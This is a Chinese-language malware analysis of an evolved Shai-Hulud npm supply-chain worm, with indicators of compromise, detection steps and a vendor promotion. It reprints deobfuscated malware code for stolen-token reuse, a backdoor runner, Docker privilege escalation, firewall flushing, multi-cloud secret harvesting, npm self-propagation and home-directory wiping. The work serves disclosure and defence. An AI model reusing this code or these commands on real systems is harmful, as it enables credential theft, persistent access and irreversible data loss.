近期發現一個經大幅進化名為 Shai-Hulud(又稱 Sha1-Hulud)的惡意程式!目前受影響的套件超過 800 個。這次不只是偷憑證,還多了「長期後門」能力,能透過遭入侵的 GitHub Actions Runner 維持存取,並強化對各大雲環境憑證的擷取能力,會讓防守方以為清乾淨後,仍持續進得來。這次更新展現了供應鏈攻擊手法的明顯進化,使攻擊者即使被偵測到初始感染後,仍能長期控制開發者工作站與 CI/CD 環境。
此次攻擊已成功入侵多家知名企業的套件,包括 PostHog(@posthog/siphash)、ENS Domains(@ensdomains/* 套件,如 ensjs、ens-contracts、react-ens-address)、以及 Zapier(多個 @zapier/* 套件與 zapier-platform-* 工具鏈)。在 Zapier 套件中可觀察到版本逐步提升(如 18.0.2 → 18.0.3 → 18.0.4),顯示惡意程式具備自動化散播機制,可持續重新發布已被植入惡意程式的套件。
相較於 2025 年 9 月的 Shai-Hulud 攻擊主要聚焦於憑證竊取與自我散播,這次的新變種加入多項關鍵能力,直接改變既有威脅模型:
持續性遠端存取:
可安裝自架式 GitHub Actions Runner,使攻擊者能以已驗證身份在受感染系統上執行指令
強化 Token 重複利用:
惡意程式會搜尋並重複使用先前受害者取得的 GitHub Token,即使主要憑證被撤銷,攻擊仍能持續運作
跨多雲憑證蒐集:
可統一擷取 AWS、GCP、Azure 憑證,並支援掃描 17 個 AWS 區域內的 Secret Manager
Azure DevOps 弱點利用:
可在 Azure DevOps 的 Linux 環境中執行權限提升與繞過網路安全控管
破壞型保護機制:
若憑證竊取失敗,會觸發資料破壞行為,推測可能用於反取證目的
此惡意程式延續了 9 月攻擊時類似蠕蟲的擴散機制,同時新增多層持久化與防偵測能力。
此次最令人憂心的能力之一,是它能利用先前受害者被竊取的憑證。當惡意程式無法從當前環境取得有效的 GitHub Token 時,會搜尋過去受感染環境所建立的 Repository,並從中提取已儲存的憑證,再次用於攻擊與橫向擴張。
async fetchToken() {
try {
// Search for repositories created by previous infections
let searchResults = await this.octokit.rest.search.repos({
q: '"Sha1-Hulud: The Second Coming."',
sort: "updated",
order: 'desc'
});
if (searchResults.status !== 200 || !searchResults.data.items) {
return null;
}
// Iterate through compromised repositories
for (let repo of searchResults.data.items) {
let owner = repo.owner?.login;
let name = repo.name;
if (!owner || !name) {
continue;
}
try {
// Download contents.json from previous victim's repo
let url = `https://raw.githubusercontent.com/${owner}/${name}/main/contents.json`;
let response = await fetch(url, { method: "GET" });
if (response.status === 200) {
let rawContent = await response.text();
// Decode the triple-base64 encoded data
let decoded = Buffer.from(rawContent, "base64").toString("utf8").trim();
if (!decoded.startsWith('{')) {
decoded = Buffer.from(decoded, "base64").toString('utf8').trim();
}
let data = JSON.parse(decoded);
// Extract the stored GitHub token
let stolenToken = data.modules?.github?.token;
if (!stolenToken || typeof stolenToken !== 'string') {
continue;
}
// Validate the stolen token still works
if ((await new this.octokit.constructor({
auth: stolenToken
}).request("GET /user")).status === 200) {
this.token = stolenToken;
return stolenToken;
}
}
} catch {
continue;
}
}
return null;
} catch {
return null;
}
}
圖 1. 解混淆後的 Token 循環利用機制,會在 GitHub 搜尋字串「Sha1-Hulud: The Second Coming」。

圖 2. GitHub 搜尋結果顯示描述為「Sha1-Hulud: The Second Coming」的 Repository,每一個都代表可被用於 Token 循環利用的受害帳號。
這會形成網狀擴散效應,讓每個遭入侵的帳戶都有可能進一步開啟通往數十甚至數百個其他受害帳戶的存取途徑,即使部分 Token 被發現並撤銷,惡意程式仍能長期持續運作。
最關鍵的新功能,是在受感染系統中安裝自架式 GitHub Actions Runner。這讓攻擊者可維持持續且具驗證權限的遠端程式執行能力,即使系統重開機也不會消失,並能在任何時間被再次觸發。
async createRepo(repoName, description = "Sha1-Hulud: The Second Coming.", isPrivate = false) {
if (!repoName) {
return null;
}
try {
// Create the exfiltration repository
let repo = (await this.octokit.rest.repos.createForAuthenticatedUser({
name: repoName,
description: description,
private: isPrivate,
auto_init: false,
has_issues: false,
has_discussions: true,
has_projects: false,
has_wiki: false
})).data;
let owner = repo.owner?.login;
let name = repo.name;
if (!owner || !name) {
return null;
}
this.gitRepo = `${owner}/${name}`;
await new Promise(resolve => setTimeout(resolve, 3000));
// Check if token has workflow scope (required for runner registration)
if (await this.checkWorkflowScope()) {
try {
// Generate runner registration token
let tokenResponse = await this.octokit.request(
"POST /repos/{owner}/{repo}/actions/runners/registration-token",
{ owner: owner, repo: name }
);
if (tokenResponse.status == 201) {
let registrationToken = tokenResponse.data.token;
// Download and install GitHub Actions runner based on platform
if (os.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`
.cwd(os.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`
.cwd(os.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"`
.cwd(os.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`
.cwd(os.homedir + "/.dev-env");
// Start runner in background
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
} else if (os.platform() === "darwin") {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`
.cwd(os.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`
.cwd(os.homedir + "/.dev-env");
await Bun.$`./config.sh --url https://github.com/${owner}/${name} --unattended --token ${registrationToken} --name "SHA1HULUD"`
.cwd(os.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`
.cwd(os.homedir + '/.dev-env');
// Start runner in background
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
// Create workflow file that triggers on discussion events
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
owner: owner,
repo: name,
path: ".github/workflows/discussion.yaml",
message: "Add Discusion",
content: Buffer.from(`
name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}
`).toString("base64"),
branch: 'main'
});
}
} catch (error) {
console.log(error);
}
}
return {
owner: owner,
name: name,
fullName: `${owner}/${name}`
};
} catch {
return null;
}
}
圖 3. 自架式 GitHub Actions Runner 安裝程式碼,顯示自動下載、設定與透過背景程序維持持續執行
惡意程式建立的 workflow 會監聽 GitHub Discussion 事件。攻擊者只要在遭入侵的 Repository 中建立一則 Discussion,即可觸發受感染系統執行任意指令。
其中 run: echo ${{ github.event.discussion.body }} 這行會直接執行 Discussion 內容中的指令,使其成為一條不依賴傳統網路流量的簡易 C2 控制通道,能有效繞過一般的網路偵測機制。
此惡意程式包含專門針對 Azure DevOps Linux Build Agent 的偵測與攻擊邏輯,可停用網路安全防護並取得更高層級的系統權限。
// Detect Azure DevOps agent
async function detectAzureDevOpsAgent() {
try {
return (await Bun.$`ps -axco command | grep "/home/agent/agent"`.text()).trim() !== '';
} catch (error) {
return false;
}
}
// Check for passwordless sudo or exploit Docker for privilege escalation
async function canEscalatePrivileges() {
try {
let { stdout, exitCode } = await Bun.$`sudo -n true`.nothrow();
return exitCode === 0;
} catch {
try {
// Use Docker to write sudoers file if passwordless sudo unavailable
await Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"`.nothrow();
} catch {
return false;
}
return true;
}
}
// Disable network security controls
async function disableNetworkSecurity() {
// Stop DNS resolver
await Bun.$`sudo systemctl stop systemd-resolved`.nothrow();
await Bun.$`sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf`.nothrow();
await Bun.$`sudo systemctl restart systemd-resolved`.nothrow();
// Clear iptables firewall rules
await Bun.$`sudo iptables -t filter -F OUTPUT`.nothrow();
await Bun.$`sudo iptables -t filter -F DOCKER-USER`.nothrow();
}
async function exploitAzureDevOps() {
if (process.env.GITHUB_ACTIONS && process.env.RUNNER_OS === 'Linux') {
if ((await detectAzureDevOpsAgent()) && (await canEscalatePrivileges())) {
await disableNetworkSecurity();
}
}
}
圖 4. Azure DevOps Agent 偵測流程、透過 Docker Escape 進行權限提升,以及透過刪除 iptables 規則達成網路安全繞過
此攻擊流程明確鎖定 Azure DevOps Build Agent,而這些環境通常具備較高權限,且可能存取生產環境憑證。
透過刪除 iptables 規則並修改 DNS 解析設定,惡意程式可繞過原本可能阻擋或偵測 C2 通訊的網路安全控管,讓其能持續與攻擊者基礎設施通信。
此新版惡意程式可全面列舉並蒐集主流雲端平台的機密與憑證,特別強化對雲端原生 Secret Management 服務的掃描與擷取能力。
AWS 憑證列舉與機密提取
class AWSSecretHarvester { static VALIDATION_REGION = 'us-east-1'; static LOOP_REGIONS = [ 'us-east-1', "us-east-2", "us-west-1", "us-west-2", "ap-northeast-1", "ap-northeast-2", "ap-northeast-3", "ap-south-1", "ap-southeast-1", "ap-southeast-2", "ca-central-1", "eu-central-1", "eu-north-1", "eu-west-1", "eu-west-2", "eu-west-3", "sa-east-1" ]; async validateCredentials(credentials) { // Validate credentials via STS GetCallerIdentity let identity = await new STSClient({ region: AWSSecretHarvester.VALIDATION_REGION, credentials: credentials }).send(new GetCallerIdentityCommand({})); if (!identity.UserId || !identity.Account || !identity.Arn) { throw Error("STS returned incomplete identity"); } return { userId: identity.UserId, account: identity.Account, arn: identity.Arn }; } async buildCredentialProviders() { let providers = [ { provider: fromEnv(), name: 'env' }, { provider: fromSSO(), name: "sso" }, { provider: fromTokenFile(), name: "tokenFile" }, { provider: fromContainerMetadata(), name: 'container' }, { provider: fromInstanceMetadata(), name: 'instance' }, { provider: fromProcess(), name: "process" } ]; try { let profiles = await loadSharedConfigFiles(); for (let profile of profiles) { providers.push({ provider: fromIni({ profile: profile }), name: `profile:${profile}`, profile: profile }); } } catch {} return providers; } async enumerateValidCredentials() { let providers = await this.buildCredentialProviders(); let validCredentials = []; let errors = {}; for (let provider of providers) { try { let credentials = await provider.provider(); let identity = await this.validateCredentials(credentials); validCredentials.push({ credentials: credentials, providerName: provider.name, profile: provider.profile ?? null, region: AWSSecretHarvester.VALIDATION_REGION, callerIdentity: identity }); } catch (error) { errors[provider.name] = error?.message ?? String(error); } } return { valid: validCredentials, errors: errors }; } async runSecrets() { let { valid: credentials } = await this.enumerateValidCredentials(); let secrets = []; try { for (let credential of credentials) { for (let region of AWSSecretHarvester.LOOP_REGIONS) { let secretsManager = new SecretsManagerClient(credential.credentials, region); secrets.concat(await secretsManager.listAndRetrieveAllSecrets()); } } } catch (error) { console.log(error); } return secrets; } }
圖 5. 多供應商 AWS 憑證列舉流程,透過 STS 驗證並在 17 個區域擷取機密
AWS 掃描器會依序嘗試所有可存取的憑證來源,並在驗證成功後,針對 Secrets Manager 於 17 個 AWS 區域進行機密掃描。
這樣的全方位流程能在多帳號、多區域的複雜 AWS 架構中最大化憑證取得範圍。
class GCPSecretHarvester {
async getIdentity() {
let auth = new GoogleAuth();
try {
let client = await auth.getClient();
await client.getAccessToken();
let email = await this.getUserEmail(client);
this.projectId = await this.getProjectId(client);
this.secretsManager = new SecretManagerServiceClient(this.projectId);
return {
userId: email,
projectId: this.projectId
};
} catch (error) {
throw Error("No valid Google Auth");
}
}
async listAndRetrieveAllSecrets() {
try {
await this.getIdentity();
return this.secretsManager.listAndRetrieveAllSecrets();
} catch (error) {}
return [];
}
}
class AzureSecretHarvester {
async listAndRetrieveAllSecrets() {
try {
let credential = new DefaultAzureCredential();
await credential.getToken("https://vault.azure.net/.default");
return await new KeyVaultClient(credential).listAndRetrieveAllSecrets();
} catch (error) {
return [];
}
}
}
圖 6. 透過預設雲端驗證方式擷取 GCP Secret Manager 與 Azure Key Vault 憑證
此多雲策略可確保無論受害環境使用哪家雲端平台,惡意程式皆能全面蒐集憑證,使其可在異質雲端架構中同樣具備高效感染能力。
此惡意程式的自我擴散能力已升級,可在惡意載荷中同時注入 Bun Runtime,確保無論目標使用何種 Node.js 版本或執行環境,皆可穩定執行並持續感染。
class NPMWormPropagator {
baseUrl = "https://registry.npmjs.org";
userAgent;
token;
constructor(npmToken) {
this.userAgent = "npm/11.6.2 workspaces/false";
this.token = npmToken;
}
async validateToken() {
if (!this.token) {
return null;
}
let response = await fetch(this.baseUrl + "/-/whoami", {
method: "GET",
headers: {
'Authorization': `Bearer ${this.token}`,
'Npm-Auth-Type': "web",
'Npm-Command': "whoami",
'User-Agent': this.userAgent,
'Connection': "keep-alive",
'Accept': "*/*",
'Accept-Encoding': "gzip, deflate, br"
}
});
if (response.status === 401) {
throw Error("Invalid NPM");
}
if (!response.ok) {
throw Error(`NPM Failed: ${response.status} ${response.statusText}`);
}
return (await response.json()).username ?? null;
}
async getPackagesByMaintainer(username, limit = 100) {
let searchUrl = `${this.baseUrl}/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=${limit}`;
try {
let response = await fetch(searchUrl, {
method: "GET",
headers: this.getHeaders(false)
});
if (!response.ok) {
throw Error(`HTTP ${response.status}: ${response.statusText}`);
}
return (await response.json()).objects || [];
} catch (error) {
return [];
}
}
async bundleAssets(extractPath) {
// Write Bun installer script
let setupBunPath = path.join(extractPath, 'package', "setup_bun.js");
await writeFile(setupBunPath, `#!/usr/bin/env node
const { spawn, execSync } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');
function isBunOnPath() {
try {
const command = process.platform === 'win32' ? 'where bun' : 'which bun';
execSync(command, { stdio: 'ignore' });
return true;
} catch {
return false;
}
}
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
command = 'curl -fsSL https://bun.sh/install | bash';
}
execSync(command, {
stdio: 'ignore',
env: { ...process.env }
});
return 'bun';
} catch {
process.exit(0);
}
}
async function main() {
let bunExecutable = isBunOnPath() ? 'bun' : await downloadAndSetupBun();
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
spawn(bunExecutable, [environmentScript], { stdio: 'ignore' });
} else {
process.exit(0);
}
}
main().catch(() => process.exit(0));
`);
// Copy the obfuscated malware as bun_environment.js
let currentScript = process.argv[1];
if (currentScript && (await fileExists(currentScript))) {
let scriptContent = await readFile(currentScript);
if (scriptContent !== null) {
let bunEnvPath = path.join(extractPath, "package", "bun_environment.js");
await writeFile(bunEnvPath, scriptContent);
}
}
}
async updatePackage(packageInfo) {
try {
// Download current package tarball
let tarballResponse = await fetch(packageInfo.tarballUrl, {
method: "GET",
headers: {
'User-Agent': this.userAgent,
'Accept': "*/*",
'Accept-Encoding': "gzip, deflate, br"
}
});
if (!tarballResponse.ok) {
throw Error(`Failed to download tarball: ${tarballResponse.status} ${tarballResponse.statusText}`);
}
let tarballBuffer = Buffer.from(await tarballResponse.arrayBuffer());
let tempDir = await createTempDir(path.join(os.tmpdir(), "npm-update-"));
let tarballPath = path.join(tempDir, "package.tgz");
let updatedTarballPath = path.join(tempDir, "updated.tgz");
await Bun.write(tarballPath, tarballBuffer);
// Extract tarball
await extractTar({
file: tarballPath,
cwd: tempDir,
gzip: true
});
// Modify package.json
let packageJsonPath = path.join(tempDir, "package", 'package.json');
let packageJsonContent = await Bun.file(packageJsonPath).text();
let packageJson = JSON.parse(packageJsonContent);
if (!packageJson.scripts) {
packageJson.scripts = {};
}
// Add preinstall hook
packageJson.scripts.preinstall = "node setup_bun.js";
// Increment patch version
if (typeof packageJson.version === "string") {
let versionParts = packageJson.version.split('.').map(Number);
if (versionParts.length === 3) {
versionParts[2] = (versionParts[2] || 0) + 1;
}
packageJson.version = versionParts.join('.');
}
await Bun.write(packageJsonPath, JSON.stringify(packageJson, null, 2));
// Bundle malicious assets
await this.bundleAssets(tempDir);
// Create new tarball
await createTar({
file: updatedTarballPath,
cwd: tempDir,
gzip: true
}, ['package']);
// Publish modified package
await Bun.$`npm publish ${updatedTarballPath}`.env({
...process.env,
'NPM_CONFIG_TOKEN': this.token
});
await cleanupTempDir(tempDir);
} catch (error) {
// Fail silently to avoid detection
}
}
}
圖 7. 自動化修改並重新發布 NPM 套件的機制,包含 Bun Runtime 注入與惡意 preinstall hook 插入
此擴散機制延續 9 月攻擊時的蠕蟲式行為,但本次新增 Bun Runtime 安裝腳本,使惡意程式即使在未預先安裝 Bun 的環境中仍能執行。
preinstall 腳本會掛入 NPM 的安裝生命週期,在套件安裝前優先執行,確保惡意程式碼能在任何原始程式運作之前率先啟動。
為規避偵測與內容過濾,遭竊資料會在上傳至 GitHub Repository 前進行三重編碼處理。
async saveContents(filename, content, commitMessage = "add file") {
if (!this.gitRepo) {
return false;
}
let [owner, repo] = this.gitRepo.split('/');
if (!owner || !repo) {
return false;
}
try {
// Triple base64 encoding to evade detection
let encoded = Buffer.from(
Buffer.from(
Buffer.from(content).toString("base64")
).toString("base64")
).toString('base64');
await this.octokit.rest.repos.createOrUpdateFileContents({
owner: owner,
repo: repo,
path: filename,
message: commitMessage,
content: encoded
});
return true;
} catch {
return false;
}
}
圖 8. 透過三層 Base64 編碼進行資料外傳,用以躲避內容過濾與偵測系統
外傳流程會在受感染的 Repository 中建立五個獨立的 JSON 檔案:
當惡意程式無法取得憑證、也無法建立持久化存取時,會啟動資料破壞程序,推測目的可能是阻礙後續取證,或作為遭偵測時的破壞性回應。
if (!authenticated || !repoExists) {
let token = await fetchToken();
if (!token) {
if (npmToken) {
await harvestNPMCredentials(npmToken);
} else {
console.log("Error 12");
// Execute data destruction based on platform
if (platform === "windows") {
Bun.spawnSync([
"cmd.exe", '/c',
'del /F /Q /S "%USERPROFILE%*" && ' +
'for /d %%i in ("%USERPROFILE%*") do rd /S /Q "%%i" & ' +
'cipher /W:%USERPROFILE%'
]);
} else {
Bun.spawnSync([
"bash", '-c',
'find "$HOME" -type f -writable -user "$(id -un)" -print0 | ' +
'xargs -0 -r shred -uvz -n 1 && ' +
'find "$HOME" -depth -type d -empty -delete'
]);
}
process.exit(0);
}
}
}
圖 9. 當憑證竊取失敗時觸發的反取證資料銷毀程式碼,並分別在 Windows 與 Unix 系統採用安全刪除方式
Windows 版本會執行 cipher /W 進行安全清除,而 Unix 版本則使用 shred -uvz 覆寫後再刪除檔案,使資料幾乎無法復原。
此破壞性行為讓該變種明顯有別於一般以憑證竊取為主的惡意程式,推測目的包含反取證或作為被偵測時的懲罰性手段。
此惡意程式採用高度設計化的執行序列,目的是在建立持久化存取的同時最大化憑證蒐集效率:
1. Environment detection
└─> Check for CI/CD environment variables
├─> GITHUB_ACTIONS, BUILDKITE, CIRCLE_SHA1, etc.
└─> Execute immediately vs. background spawn
2. GitHub authentication
└─> Search environment variables for tokens (ghp_, gho_)
├─> Found: Use token
└─> Not found: Execute token recycling
└─> Search for Shai-Hulud repos
└─> Download and decode contents.json
└─> Extract and validate stolen tokens
3. Repository creation and runner installation
└─> Create "Sha1-Hulud" repository
└─> Check for workflow scope
├─> Has scope: Install self-hosted runner
│ ├─> Download GitHub Actions runner
│ ├─> Configure with registration token
│ ├─> Start in background (nohup)
│ └─> Create discussion.yaml workflow
└─> No scope: Continue with exfiltration
4. Credential harvesting
├─> AWS: Enumerate all credential providers, scan 17 regions
├─> GCP: Use Application Default Credentials, scan Secret Manager
├─> Azure: Use DefaultAzureCredential, scan Key Vault
├─> GitHub: Check workflow scope, extract Actions secrets
└─> NPM: Validate token, get maintainer packages
5. Secret scanning
└─> Download TruffleHog
└─> Scan home directory for exposed secrets
6. Data exfiltration
└─> Triple base64 encode all collected data
├─> contents.json (system info + GitHub creds)
├─> environment.json (process.env)
├─> cloud.json (AWS/GCP/Azure secrets)
├─> actionsSecrets.json (Actions secrets)
└─> truffleSecrets.json (TruffleHog findings)
7. NPM propagation
└─> If NPM token valid:
├─> Get all packages maintained by user
└─> For each package:
├─> Download tarball
├─> Extract and modify package.json
├─> Add preinstall: "node setup_bun.js"
├─> Increment patch version
├─> Bundle setup_bun.js and bun_environment.js
└─> Publish updated package
8. Azure DevOps exploitation (if applicable)
└─> Detect Azure DevOps agent
├─> Escalate privileges via Docker
└─> Disable network security
├─> Stop systemd-resolved
├─> Flush iptables OUTPUT rules
└─> Flush iptables DOCKER-USER rules
這個進化後的 Shai‑Hulud 變種相較 9 月攻擊威脅更高,原因在於兩項核心能力:持續性後門存取與罕見的破壞性保護機制。
透過自架式 GitHub Actions Runner,此惡意程式可維持長期存取,即使移除套件或系統重開機仍不受影響。
攻擊者只需在受害 Repo 建立一則 GitHub Discussion,即可立即觸發受害機器執行任意指令。
由於通訊全程透過合法 GitHub HTTPS 基礎架構,傳統網路偵測難以辨識。
此外,Runner 以標準 GitHub Actions 模組形式存在於 ~/.dev-env/,在事故調查時相當不易被發現。
不同於一般以憑證竊取為目標、傾向靜默運作的惡意程式,此版本在憑證竊取失敗時會反向執行激進的資料銷毀程序,明顯偏離傳統供應鏈攻擊常態。
完整資料銷毀條件:
當惡意程式無法取得 GitHub 認證、也找不到可用 NPM Token 時,便會啟動安全刪除整個使用者家目錄:
Windows:del /F /Q /S "%USERPROFILE%*" && cipher /W:%USERPROFILE%
Unix/Linux:find "$HOME" -type f -writable | xargs shred -uvz -n 1
不可復原的資料損失:惡意程式並非僅刪除檔案,而是採用 shred、cipher /W 等多次覆寫的安全擦除方式,使取證與復原皆幾乎不可能。
這意味著未提交程式碼、設定檔、SSH 金鑰、瀏覽器資料及使用者家目錄內所有檔案可能永久消失。
前所未見的供應鏈攻擊:一般憑證竊取型惡意程式以潛伏收集資料為優先,而此變種卻搭載破壞型反制機制,風險性質明顯提升。
Repository name patterns:
- Contains "Shai-Hulud" or "Sha1-Hulud"
- Description: "Sha1-Hulud: The Second Coming."
Repository contents:
- contents.json
- environment.json
- cloud.json
- actionsSecrets.json
- truffleSecrets.json
- .github/workflows/discussion.yaml
Self-hosted runner:
- Runner name: "SHA1HULUD"
- Runner appears in repository Settings > Actions > Runners
1. 檢查是否存在自架式 GitHub Actions Runners
# Check for runner processes
ps aux | grep -i "actions-runner\|SHA1HULUD"
# Check for runner directory
ls -la ~/.dev-env/
# If found, kill runner and remove directory
pkill -f "actions-runner"
rm -rf ~/.dev-env/
2. 在 GitHub 帳號中搜尋是否存在 Shai-Hulud 相關的 Repository
# Using GitHub CLI
gh repo list --json name,description | jq '.[] | select(.description | contains("Shai-Hulud"))'
# Check for self-hosted runners
gh api repos/{owner}/{repo}/actions/runners
3. 立即撤銷受影響的憑證
4. 掃描快取中是否存在 TruffleHog 執行檔
find ~/.cache -name "trufflehog*" -o -name ".truffler-cache"
Azure DevOps 專屬檢查項目
# Check for modified iptables rules
sudo iptables -L -n -v
# Check systemd-resolved status
sudo systemctl status systemd-resolved
# Review /etc/sudoers.d/ for unauthorized entries
ls -la /etc/sudoers.d/
此惡意程式保留了與 2025 年 9 月 Shai‑Hulud 攻擊一致的多項特徵:
然而,相較 9 月版本,此變種展現出明顯的技術進階:
這些強化功能顯示攻擊者並未停下開發,可能是原威脅行為者持續迭代,或攻擊手法被其他團隊吸收並進一步改良。
尤其在自架 Runner 的佈署設計與多雲支援的完整度上,可見攻擊背後具備成熟開發能力與對現代 DevOps
這個進化後的 Shai‑Hulud 變種,顯示出 npm 供應鏈攻擊能力的顯著升級。透過自架式 GitHub Actions Runner 建立的持久後門存取、完整的多雲憑證蒐集,以及自動化套件散播機制,攻擊者能長期控制受害環境,並迅速透過套件生態系擴散。
我們觀察到,部分客戶透過套件管理工具的「最小釋出時長(minimum release age)」功能,搭配 Mend Renovate,成功避免下載受影響套件,降低風險。
我們將持續追蹤此攻擊行動,並在獲得新資訊時更新分析報告。
(請於網頁最下方留下資訊,獲取遭入侵的套件清單)
Mend.io 可即時掃描應用程式中的 OSS 套件,識別其中的安全漏洞和合規性風險,並提供修復漏洞和解決合規性問題的建議。同時,Mend.io 也具備授權合規性管理功能,可自動識別軟體中的開源授權,確保符合企業內部政策與法規要求,避免潛在的法律風險。此外還能生成軟體物料清單(SBOM),並提供持續監控和更新。
透過 Mend.io 企業可將開源安全與合規檢測無縫整合至 CI/CD 開發流程,在開發早期就能發現與解決問題,減少修復成本與合規性風險並提升開發效率。
• 快速搜尋弱點、元件,輕鬆收集完整資訊
• 提供弱點修復建議與完整風險評估資訊
• 多面向報表,有效透析問題
• Shift Left,降低修補成本
• 持續追蹤資安弱點與惡意程式威脅
若您對 Mend 有興趣,歡迎於官網留下資訊,將會有專人與您聯繫 ➤ https://www.gss.com.tw/mend-io